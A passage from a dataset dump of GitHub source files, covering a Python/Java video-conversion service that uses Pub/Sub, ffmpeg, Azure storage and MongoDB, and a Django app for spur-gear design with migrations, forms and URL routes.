get_video_status_callback_url(self):\n return self.configuration_data['conversion']['messaging']['video-status']['url']\n def get_project_id(self):\n return self.configuration_data['pubsub']['projectId']\n def get_subscription_name(self):\n return self.configuration_data['pubsub']['subscriptionName']\n def get_azure_name(self):\n return self.azure_data['azure']['name']\n def get_azure_key(self):\n return self.azure_data['azure']['key']\n" }, { "alpha_fraction": 0.6479367613792419, "alphanum_fraction": 0.6501317024230957, "avg_line_length": 39.64285659790039, "blob_id": "206ea8536af30e1c52dadac489934155912dd5cd", "content_id": "1922c6dd996b7dc8769d5bcddbae8cd4e7eaa417", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2278, "license_type": "no_license", "max_line_length": 115, "num_lines": 56, "path": "/video-conversion/messaging/videoconversionmessaging.py", "repo_name": "Ackincolor/AD", "src_encoding": "UTF-8", "text": "\nimport pika\nfrom threading import Thread\nimport logging\nfrom google.cloud import pubsub_v1\nimport time\nimport json\nimport queue\n\nlogging.basicConfig(format='%(asctime)s - %(levelname)s: %(message)s', level=logging.DEBUG)\nlogging.getLogger(\"pika\").setLevel(logging.INFO)\n\n# rabbitmqadmin -H localhost -u ezip -p pize -V ezip purge queue name=video-conversion-queue\n# rabbitmqadmin -H localhost -u ezip -p pize -V ezip get queue=video-conversion-queue\n\nclass VideoConversionMessaging(Thread):\n def __init__(self,_config_,converting_service):\n Thread.__init__(self)\n self.converting_service = converting_service\n subscriber = pubsub_v1.SubscriberClient()\n subsciption_path = subscriber.subscription_path(_config_.get_project_id(),_config_.get_subscription_name())\n subscrition_project = subscriber.project_path(_config_.get_project_id());\n for subscription in subscriber.list_subscriptions(subscrition_project):\n print(subscription)\n def callback(message):\n print('Received message: {}'.format(message.data.decode('utf-8')))\n message.ack()\n self._on_message_(message)\n\n subscriber.subscribe(subsciption_path, callback=callback)\n\n print('listening fo message on {}'.format(subsciption_path))\n while True:\n time.sleep(60)\n#\n#\n#\n#\n# def on_message(self, channel, method_frame, header_frame, body):\n# logging.info(body)\n# # logging.info('id = %s, URI = %s', body[\"id\"], body['originPath'])\n# # logging.info('URI = %s', body['originPath'])\n# logging.info('URI = %s', body.decode())\n# convert_request = json.loads(body.decode())\n# logging.info(convert_request)\n# self.converting_service.convert(convert_request[\"id\"], convert_request['originPath'])\n def _on_message_(self, body):\n logging.info(body)\n # logging.info('id = %s, URI = %s', body[\"id\"], body['originPath'])\n # logging.info('URI = %s', body['originPath'])\n logging.info('URI = %s', body.data.decode())\n convert_request = json.loads(body.data.decode())\n logging.info(convert_request)\n self.converting_service.convert(convert_request[\"id\"], convert_request['originPath'])\n#\n#\n#\n\n" }, { "alpha_fraction": 0.5318924784660339, "alphanum_fraction": 0.5431382656097412, "avg_line_length": 37.97945022583008, "blob_id": "2897ae06c6f8f1f54f658567bd2fa474d20a3fba", "content_id": "d0d2963ce4923acf697cb5a5aa7b79516da98cde", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5695, "license_type": "no_license", "max_line_length": 137, "num_lines": 146, "path": "/video-conversion/database/mongodb/videoconversion.py", "repo_name": "Ackincolor/AD", "src_encoding": "UTF-8", "text": "import logging\n\nfrom pymongo import MongoClient\nimport ffmpy\nimport time\nimport os\nimport websocket\nimport json\nimport ssl\nfrom azure.storage.file import FileService, ContentSettings\nimport pexpect\nimport re\n\nlogging.basicConfig(format='%(asctime)s - %(levelname)s: %(message)s', level=logging.DEBUG)\n\n\n# ffmpeg -i Game.of.Thrones.S07E07.1080p.mkv -vcodec mpeg4 -b 4000k -acodec mp2 -ab 320k converted.avi\n\n\nclass VideoConversion(object):\n def __init__(self, _config_):\n self.client = MongoClient(_config_.get_database_host())\n self.db = self.client[_config_.get_database_name()]\n self.video_conversion_collection = self.db[_config_.get_video_conversion_collection()]\n self.url = _config_.get_video_status_callback_url()\n\n self.file_service = FileService(account_name=_config_.get_azure_name(), account_key=_config_.get_azure_key());\n\n # test de l'ouverture pour azure storage\n\n def find_one(self):\n conversion = self.video_conversion_collection.find_one()\n uri = conversion['originPath']\n id = conversion['_id']\n file = self.file_service.get_file_to_path(\"archidistriconverter\", None, uri, uri);\n logging.info('id = %s, URI = %s', id, uri)\n ff = ffmpy.FFmpeg(\n inputs={uri: None},\n outputs={'converted.avi': '-flags +global_header -y -vcodec mpeg4 -b 4000k -acodec mp2 -ab 320k'}\n )\n logging.info(\"FFMPEG = %s\", ff.cmd)\n # ff.run()\n self.video_conversion_collection.update({'_id': id}, {'$set': {'targetPath': 'converted.avi'}})\n self.video_conversion_collection.update({'_id': id}, {'$set': {'tstamp': time.time()}})\n\n # for d in self.video_conversion_collection.find():\n # logging.info(d)\n\n def timecode_value(self, tc):\n print(\"timecode_value :\" + tc)\n hours, minutes, seconds = tc.split(':')\n return float(seconds) + (float(minutes) * 60) + (float(hours) * 60 * 60)\n\n def convert(self, _id_, _uri_):\n line = \"\"\n i = 0\n file = self.file_service.get_file_to_path(\"archidistriconverter\", None, _uri_, _uri_);\n converted = _uri_.replace(\".mkv\", \"-converted.avi\")\n logging.info('ID = %s, URI = %s —› %s', _id_, _uri_, converted)\n ff = ffmpy.FFmpeg(\n inputs={_uri_: None},\n outputs={converted: '-flags +global_header -y -vcodec mpeg4 -b 4000k -acodec mp2 -ab 320k'}\n )\n logging.info(\"FFMPEG = %s\", ff.cmd)\n # ff.run()\n cmd = ff.cmd\n thread = pexpect.spawn(cmd)\n print(\"started %s\" % cmd)\n\n duration_total = 0\n\n while (not re.compile('^Press').match(line)):\n i = i + 1\n line = thread.readline().strip().decode('utf-8')\n if (re.compile('^Duration').match(line)):\n duration_total = self.timecode_value(line.split(',')[0].split(' ')[1])\n\n cpl = thread.compile_pattern_list([\n pexpect.EOF,\n \"^(frame=.*)\",\n '(.+)'\n ])\n while True:\n i = thread.expect_list(cpl, timeout=None)\n if i == 0: # EOF\n self.video_conversion_collection.update({'_id': _id_}, {'$set': {'done': 100}})\n self.video_conversion_collection.update({'_id': _id_}, {'$set': {'targetPath': \"Converted/\"+converted}})\n print(\"the sub process exited\")\n break\n elif i == 1:\n try:\n array = tuple(re.sub(r\"=\\s+\", '=', thread.match.group(0).decode('utf-8').strip()).split(' '))\n time = array[4]\n tc, ts = tuple(time.split('='))\n current_time = self.timecode_value(tc=ts)\n percentage = (current_time / duration_total * 100)\n print(\"Avancement : %.2f\" % percentage)\n self.video_conversion_collection.update({'_id': _id_},{'$set': {'done': percentage}})\n except:\n print(\"exception\")\n # self.video_conversion_collection.update({'_id': _id_}, {'$set': {'frame': frame_number.decode('utf-8').split(\"=\")[1]}})\n thread.close\n elif i == 2:\n # unknown_line = thread.match.group(0)\n # print unknown_line\n pass\n\n # process = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE)\n # while True:\n # output = process.stdout.readline()\n # if output == '' and process.poll() is not None:\n # break\n # if output:\n # print(output.strip())\n # rc = process.poll()\n\n self.send(converted);\n # suppression des fichiers locaux\n\n os.remove(_uri_)\n os.remove(converted)\n\n # self.video_conversion_collection.update({'_id' : _id_}, { '$set' : {'tstamp' : time.time() }})\n\n payload = dict()\n payload[\"id\"] = _id_;\n payload[\"status\"] = 0;\n\n json_payload = json.dumps(payload)\n logging.info(\"payload = %s\", json_payload)\n\n ws = websocket.create_connection(self.url, sslopt={\"cert_reqs\": ssl.CERT_REQUIRED,\n \"ca_certs\": \"/home/lois/PycharmProjects/video-conversion/ca.cert.pem\"})\n # ws = websocket.create_connection(self.url)\n ws.send(json_payload);\n ws.close()\n\n # send file to azure when conversion stoped\n def send(self, _uri_):\n self.file_service.create_file_from_path(\n 'archidistriconverter',\n 'Converted',\n _uri_,\n _uri_,\n content_settings=ContentSettings(content_type='File')\n )\n" }, { "alpha_fraction": 0.7015601396560669, "alphanum_fraction": 0.705586314201355, "avg_line_length": 39.551021575927734, "blob_id": "85898633ed9bb531c7de906c96eeda075b8dafa0", "content_id": "fd9ec0331370cc160ac94e1100a1522cd2c2761d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 1987, "license_type": "no_license", "max_line_length": 112, "num_lines": 49, "path": "/ArchiIng3/src/main/java/edu/esipe/i3/ezipflix/frontend/ConversionStatusHandler.java", "repo_name": "Ackincolor/AD", "src_encoding": "UTF-8", "text": "package edu.esipe.i3.ezipflix.frontend;\n\nimport edu.esipe.i3.ezipflix.frontend.data.entities.VideoConversions;\nimport edu.esipe.i3.ezipflix.frontend.data.repositories.VideoConversionRepository;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.socket.TextMessage;\nimport org.springframework.web.socket.WebSocketSession;\nimport org.springframework.web.socket.handler.TextWebSocketHandler;\n\nimport java.util.UUID;\n\npublic class ConversionStatusHandler extends TextWebSocketHandler {\n\n @Autowired\n VideoConversionRepository videoConversionRepository;\n\n private static final Logger LOGGER = LoggerFactory.getLogger(VideoStatusHandler.class);\n public ConversionStatusHandler() {\n }\n\n @Override\n public void afterConnectionEstablished(WebSocketSession session) throws Exception {\n LOGGER.info(\"Session opened = {}\", session);\n }\n\n @Override\n protected void handleTextMessage(WebSocketSession session, TextMessage message) throws Exception {\n //VideoConversions vc = videoConversionRepository.findById(UUID.fromString(message.getPayload())).get();\n String msg = message.getPayload();\n UUID id = UUID.fromString(msg);\n VideoConversions vc = null;\n if(videoConversionRepository.findById(msg).isPresent()) {\n vc = videoConversionRepository.findById(msg).get();\n if(vc.getDone()<100)\n session.sendMessage(new TextMessage(Float.toString(vc.getDone())));\n else{\n session.sendMessage(new TextMessage(Float.toString(vc.getDone())));\n session.sendMessage(new TextMessage(vc.getTargetPath()));\n msg += \" target Path = \"+vc.getTargetPath();\n }\n }else {\n LOGGER.info(\"convert not found\");\n session.sendMessage(new TextMessage(\"not found\"));\n }\n LOGGER.info(\"Status = {}\", msg);\n }\n}\n" } ]
14
vinsmokemau/GearDesign
https://github.com/vinsmokemau/GearDesign
92bebcd25823a2c28887271139e4cfdf3b0f3c0a
35aaeaab9b0eaa187c585fe68242cfa8bd3de9a7
a25205a0e452c28ffd57a02f418a9594524e3c6b
refs/heads/master
2020-05-25T10:04:41.932776
2019-06-04T17:30:46
2019-06-04T17:30:46
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4866666793823242, "alphanum_fraction": 0.5822222232818604, "avg_line_length": 24, "blob_id": "6c900d91550c1d156b252f48828b544fbb598ecf", "content_id": "d855b0cedf099b414fee630007ab2ef6f5ab5564", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 452, "license_type": "permissive", "max_line_length": 121, "num_lines": 18, "path": "/src/design/migrations/0004_auto_20190602_1326.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.1 on 2019-06-02 18:26\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('design', '0003_auto_20190531_1947'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='gear',\n name='Np',\n field=models.FloatField(choices=[(12, 12), (18, 18), (32, 32)], null=True, verbose_name='dientes del piñón'),\n ),\n ]\n" }, { "alpha_fraction": 0.48053690791130066, "alphanum_fraction": 0.48053690791130066, "avg_line_length": 17.170732498168945, "blob_id": "01ea206b98ca62cf7d4da7c6d7ca445615ceef6f", "content_id": "c1089fcde7e1aca36987847f1caa63528fbf1069", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 745, "license_type": "permissive", "max_line_length": 39, "num_lines": 41, "path": "/src/design/urls.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "\"\"\"Design Urls.\"\"\"\nfrom django.urls import path\nfrom . import views\n\napp_name = 'design'\n\nurlpatterns = [\n\n # Design Views.\n path(\n '',\n views.FirstView.as_view(),\n name='first'\n ),\n path(\n '<int:user_id>/',\n views.UserDetail.as_view(),\n name='user'\n ),\n path(\n '<int:user_id>/<int:gear_id>/',\n views.GearDetail.as_view(),\n name='gear'\n ),\n path(\n 'create/',\n views.GearCreate.as_view(),\n name='create'\n ),\n path(\n 'create/<int:gear_id>/',\n views.SecondView.as_view(),\n name='continue'\n ),\n path(\n 'create/<int:gear_id>/final/',\n views.FinalUpdate.as_view(),\n name='final'\n ),\n\n]\n" }, { "alpha_fraction": 0.5282391905784607, "alphanum_fraction": 0.579734206199646, "avg_line_length": 25.173913955688477, "blob_id": "da3d1b5bdddb2f8747aeefa3fbe122f289b89258", "content_id": "4aee74cde780b4e72f731262d32b79bbac5e34e1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 604, "license_type": "permissive", "max_line_length": 95, "num_lines": 23, "path": "/src/design/migrations/0009_auto_20190603_1259.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.1 on 2019-06-03 17:59\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('design', '0008_auto_20190603_1051'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='gear',\n name='Cma',\n field=models.FloatField(null=True, verbose_name='Factor de alineación'),\n ),\n migrations.AddField(\n model_name='gear',\n name='km',\n field=models.FloatField(null=True, verbose_name='Factor de distribución de carga'),\n ),\n ]\n" }, { "alpha_fraction": 0.544025182723999, "alphanum_fraction": 0.5927672982215881, "avg_line_length": 26.65217399597168, "blob_id": "73910d3b89577320bdf05e15b4ff49c909fa02b2", "content_id": "056447383ca964225da23670694e1cd8b4f938a7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 640, "license_type": "permissive", "max_line_length": 106, "num_lines": 23, "path": "/src/design/migrations/0012_auto_20190603_1616.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.1 on 2019-06-03 21:16\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('design', '0011_auto_20190603_1554'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='gear',\n name='Satg',\n field=models.FloatField(null=True, verbose_name='Esfuerzo de flexión ajustado en el engrane'),\n ),\n migrations.AddField(\n model_name='gear',\n name='Satp',\n field=models.FloatField(null=True, verbose_name='Esfuerzo de flexión ajustado en el piñón'),\n ),\n ]\n" }, { "alpha_fraction": 0.5244755148887634, "alphanum_fraction": 0.539268434047699, "avg_line_length": 33.425926208496094, "blob_id": "4014e65c563c12102f73207516120ae3167640c1", "content_id": "276324ccf4dab89465aa64558bccf3d20a0f5692", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3729, "license_type": "permissive", "max_line_length": 133, "num_lines": 108, "path": "/src/design/migrations/0005_auto_20190602_1652.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.1 on 2019-06-02 21:52\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('design', '0004_auto_20190602_1326'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='gear',\n name='SF',\n field=models.FloatField(default=1.0, verbose_name='Factor de seguridad'),\n ),\n migrations.AddField(\n model_name='gear',\n name='kb',\n field=models.FloatField(default=1.0, verbose_name='Factor de espesor de la corona'),\n ),\n migrations.AddField(\n model_name='gear',\n name='kr',\n field=models.FloatField(default=1.0, verbose_name='Factor de confiabilidad'),\n ),\n migrations.AddField(\n model_name='gear',\n name='ks',\n field=models.FloatField(null=True, verbose_name='Factor de tamaño'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='C',\n field=models.FloatField(null=True, verbose_name='Distancia entre centros'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='Cpf',\n field=models.FloatField(null=True, verbose_name='Factor de proporción del piñón'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='Dg',\n field=models.FloatField(null=True, verbose_name='Diametro de paso del engrane'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='Dp',\n field=models.FloatField(null=True, verbose_name='Diametro de paso del piñón'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='F',\n field=models.FloatField(null=True, verbose_name='Ancho de la cara'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='Ft',\n field=models.FloatField(null=True, verbose_name='Fuerza transmitida'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='HP',\n field=models.FloatField(null=True, verbose_name='Potencia de motor'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='Ng',\n field=models.FloatField(null=True, verbose_name='Dientes del engrane'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='Np',\n field=models.FloatField(choices=[(12.0, 12.0), (18.0, 18.0), (32.0, 32.0)], null=True, verbose_name='Dientes del piñón'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='Pd',\n field=models.FloatField(null=True, verbose_name='Paso diametral'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='PotD',\n field=models.FloatField(null=True, verbose_name='Potencia de diseño'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='Vt',\n field=models.FloatField(null=True, verbose_name='Velocidad tangencial'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='angle',\n field=models.FloatField(null=True, verbose_name='Ángulo'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='fs',\n field=models.FloatField(null=True, verbose_name='Factor de servicio'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='kv',\n field=models.FloatField(null=True, verbose_name='Factor dinámico'),\n ),\n ]\n" }, { "alpha_fraction": 0.8117647171020508, "alphanum_fraction": 0.8117647171020508, "avg_line_length": 20.25, "blob_id": "9e2b66e54388830bca996b864ed73f738eb6e339", "content_id": "d2c80184b0d46aa867ddc0fbcdcf4aabcf07cd6c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 85, "license_type": "permissive", "max_line_length": 32, "num_lines": 4, "path": "/src/design/admin.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Gear\n\nadmin.site.register(Gear)\n" }, { "alpha_fraction": 0.5281385183334351, "alphanum_fraction": 0.5398886799812317, "avg_line_length": 29.50943374633789, "blob_id": "583215741cad5346783f91066430679246239d6f", "content_id": "19f688d43e381b26327e720a9b1c07b04fa16451", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1626, "license_type": "permissive", "max_line_length": 100, "num_lines": 53, "path": "/src/design/migrations/0008_auto_20190603_1051.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.1 on 2019-06-03 15:51\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('design', '0007_gear_cp'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='gear',\n name='Dbg',\n field=models.FloatField(null=True, verbose_name='Diametro de círculo base del engrane'),\n ),\n migrations.AddField(\n model_name='gear',\n name='Dbp',\n field=models.FloatField(null=True, verbose_name='Diametro de círculo base del piñón'),\n ),\n migrations.AddField(\n model_name='gear',\n name='I',\n field=models.FloatField(null=True, verbose_name='Factor geométrico'),\n ),\n migrations.AddField(\n model_name='gear',\n name='Jg',\n field=models.FloatField(null=True, verbose_name='Factor geométrico del engrane'),\n ),\n migrations.AddField(\n model_name='gear',\n name='Jp',\n field=models.FloatField(null=True, verbose_name='Factor geométrico del piñón'),\n ),\n migrations.AddField(\n model_name='gear',\n name='P',\n field=models.FloatField(null=True, verbose_name='Paso circular'),\n ),\n migrations.AddField(\n model_name='gear',\n name='Ynp',\n field=models.FloatField(null=True),\n ),\n migrations.AddField(\n model_name='gear',\n name='Znp',\n field=models.FloatField(null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.5324675440788269, "alphanum_fraction": 0.5827922224998474, "avg_line_length": 25.782608032226562, "blob_id": "391589d2fce2088a9647195063974f3db840c914", "content_id": "bd5670f04dab2ed3987e72e69c9153a7bbc2abe4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 620, "license_type": "permissive", "max_line_length": 97, "num_lines": 23, "path": "/src/design/migrations/0011_auto_20190603_1554.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.1 on 2019-06-03 20:54\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('design', '0010_auto_20190603_1536'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='gear',\n name='Stg',\n field=models.FloatField(null=True, verbose_name='Esfuerzo de flexión en el engrane'),\n ),\n migrations.AddField(\n model_name='gear',\n name='Stp',\n field=models.FloatField(null=True, verbose_name='Esfuerzo de flexión en el piñón'),\n ),\n ]\n" }, { "alpha_fraction": 0.5422276854515076, "alphanum_fraction": 0.5801713466644287, "avg_line_length": 28.178571701049805, "blob_id": "19775bc47b5c2b303d30c9c2101e5185ca53d535", "content_id": "a4139dcfc8b951f98ed40d256fdef38626ab8411", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 819, "license_type": "permissive", "max_line_length": 107, "num_lines": 28, "path": "/src/design/migrations/0013_auto_20190603_1657.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.1 on 2019-06-03 21:57\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('design', '0012_auto_20190603_1616'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='gear',\n name='Sacg',\n field=models.FloatField(null=True, verbose_name='Esfuerzo de contacto ajustado en el engrane'),\n ),\n migrations.AddField(\n model_name='gear',\n name='Sacp',\n field=models.FloatField(null=True, verbose_name='Esfuerzo de contacto ajustado en el piñón'),\n ),\n migrations.AddField(\n model_name='gear',\n name='Sc',\n field=models.FloatField(null=True, verbose_name='Esfuerzo de contacto'),\n ),\n ]\n" }, { "alpha_fraction": 0.5228915810585022, "alphanum_fraction": 0.5975903868675232, "avg_line_length": 22.05555534362793, "blob_id": "bf9862200e9d0a36782e0a75afdd38b8b5a969a9", "content_id": "72cee0048ebf5736916da99a443ca86e65f66785", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 415, "license_type": "permissive", "max_line_length": 88, "num_lines": 18, "path": "/src/design/migrations/0007_gear_cp.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.1 on 2019-06-03 02:43\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('design', '0006_auto_20190602_1934'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='gear',\n name='Cp',\n field=models.FloatField(null=True, verbose_name='Constante de elasticidad'),\n ),\n ]\n" }, { "alpha_fraction": 0.5305933356285095, "alphanum_fraction": 0.5364647507667542, "avg_line_length": 32.020408630371094, "blob_id": "a3a0169483f9404124a2f024eefa840397250232", "content_id": "3b81e318422c28ba2300dd5e87342153a8539af9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3247, "license_type": "permissive", "max_line_length": 94, "num_lines": 98, "path": "/src/design/migrations/0002_auto_20190531_1532.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.1 on 2019-05-31 20:32\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('design', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='gear',\n name='Av',\n field=models.IntegerField(null=True, verbose_name='Calidad'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='C',\n field=models.FloatField(null=True, verbose_name='distancia entre centros'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='Cpf',\n field=models.FloatField(null=True, verbose_name='factor de proporción del piñón'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='Dp',\n field=models.FloatField(null=True, verbose_name='paso diametral del piñón'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='F',\n field=models.FloatField(null=True, verbose_name='ancho de la cara'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='Ft',\n field=models.FloatField(null=True, verbose_name='fuerza transmitida'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='HP',\n field=models.FloatField(null=True, verbose_name='potencia de motor'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='Ng',\n field=models.FloatField(null=True, verbose_name='dientes del engrane'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='Np',\n field=models.FloatField(null=True, verbose_name='dientes del piñón'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='Pd',\n field=models.FloatField(null=True, verbose_name='paso diametral del engrane'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='PotD',\n field=models.FloatField(null=True, verbose_name='potencia de diseño'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='Vt',\n field=models.FloatField(null=True, verbose_name='velocidad tangencial'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='Wg',\n field=models.FloatField(null=True, verbose_name='RPMs del engrane'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='Wp',\n field=models.FloatField(null=True, verbose_name='RPMs del piñón'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='angle',\n field=models.FloatField(null=True, verbose_name='ángulo'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='fs',\n field=models.FloatField(null=True, verbose_name='factor de servicio'),\n ),\n migrations.AlterField(\n model_name='gear',\n name='kv',\n field=models.FloatField(null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.4302539527416229, "alphanum_fraction": 0.4552815556526184, "avg_line_length": 24.157407760620117, "blob_id": "2978ca99221a5c30b423342c08ab6083c3128fc7", "content_id": "78e4b759281076befb5c63490cbffb3fc39d105c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2717, "license_type": "permissive", "max_line_length": 87, "num_lines": 108, "path": "/src/design/forms.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "from django import forms \nfrom .models import Gear\n\n\nclass GearForm(forms.ModelForm):\n\n class Meta:\n model = Gear\n fields = [\n 'fs',\n 'HP',\n 'Np',\n 'Pd',\n 'Wg',\n 'Wp',\n 'q',\n 'hrs',\n 'Ep',\n 'Eg',\n 'Vp',\n 'Vg',\n ]\n widgets = {\n 'fs': forms.NumberInput(attrs={'step': \"0.01\"}),\n 'HP': forms.NumberInput(attrs={'step': \"0.01\"}),\n 'Pd': forms.NumberInput(attrs={'step': \"0.01\"}),\n 'Wg': forms.NumberInput(attrs={'step': \"0.01\"}),\n 'Wp': forms.NumberInput(attrs={'step': \"0.01\"}),\n 'hrs': forms.NumberInput(attrs={'step': \"0.01\"}),\n 'q': forms.NumberInput(attrs={'step': \"0.01\"}),\n 'Ep': forms.NumberInput(attrs={'step': \"0.01\"}),\n 'Eg': forms.NumberInput(attrs={'step': \"0.01\"}),\n 'Vp': forms.NumberInput(attrs={'step': \"0.01\"}),\n 'Vg': forms.NumberInput(attrs={'step': \"0.01\"}),\n }\n\n\nclass GearForm2(forms.ModelForm):\n\n Ynp_choices = (\n (1, 1),\n (2, 2),\n (3, 3),\n (4, 4),\n (5, 5),\n (6, 6),\n )\n\n Znp_choices = (\n (1, 1),\n (2, 2),\n (3, 3),\n )\n\n aligment_choices = (\n ('Open gearing', 'Open gearing'),\n ('Commercial enclosed gear units', 'Commercial enclosed gear units'),\n ('Precision enclosed gear units', 'Precision enclosed gear units'),\n ('Extra-precision enclosed gear units', 'Extra-precision enclosed gear units'),\n )\n\n Ynp = forms.ChoiceField(\n required=True,\n choices=Ynp_choices,\n )\n Znp = forms.ChoiceField(\n required=True,\n choices=Znp_choices,\n )\n Yng = forms.ChoiceField(\n required=True,\n choices=Ynp_choices,\n )\n Zng = forms.ChoiceField(\n required=True,\n choices=Znp_choices,\n )\n aligment_type = forms.ChoiceField(\n required=True,\n choices=aligment_choices,\n )\n\n class Meta:\n model = Gear\n fields = [\n 'Jp',\n 'Jg',\n 'I',\n 'kr',\n 'SF',\n ]\n widgets = {\n 'Jp': forms.NumberInput(attrs={'step': \"0.01\"}),\n 'Jg': forms.NumberInput(attrs={'step': \"0.01\"}),\n 'I': forms.NumberInput(attrs={'step': \"0.01\"}),\n 'kr': forms.NumberInput(attrs={'step': \"0.01\"}),\n 'SF': forms.NumberInput(attrs={'step': \"0.01\"}),\n }\n\n\nclass GearForm3(forms.ModelForm):\n \n class Meta:\n model = Gear\n fields = [\n 'materialp',\n 'materialg'\n ]\n" }, { "alpha_fraction": 0.47802019119262695, "alphanum_fraction": 0.526430070400238, "avg_line_length": 30.23050880432129, "blob_id": "594152117e5864dc4b6c9f49d62dbe9be09640c2", "content_id": "7b82cc91b2698004577fa55039aa236f747396f4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9213, "license_type": "permissive", "max_line_length": 102, "num_lines": 295, "path": "/src/design/views.py", "repo_name": "vinsmokemau/GearDesign", "src_encoding": "UTF-8", "text": "\"\"\"Design's Views.\"\"\"\nimport math\nfrom .forms import (\n GearForm,\n GearForm2,\n GearForm3,\n)\nfrom .models import Gear\nfrom django.urls import reverse\nfrom django.views.generic import (\n RedirectView,\n TemplateView,\n CreateView,\n UpdateView,\n DetailView,\n FormView,\n)\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.mixins import LoginRequiredMixin\n\n\nclass 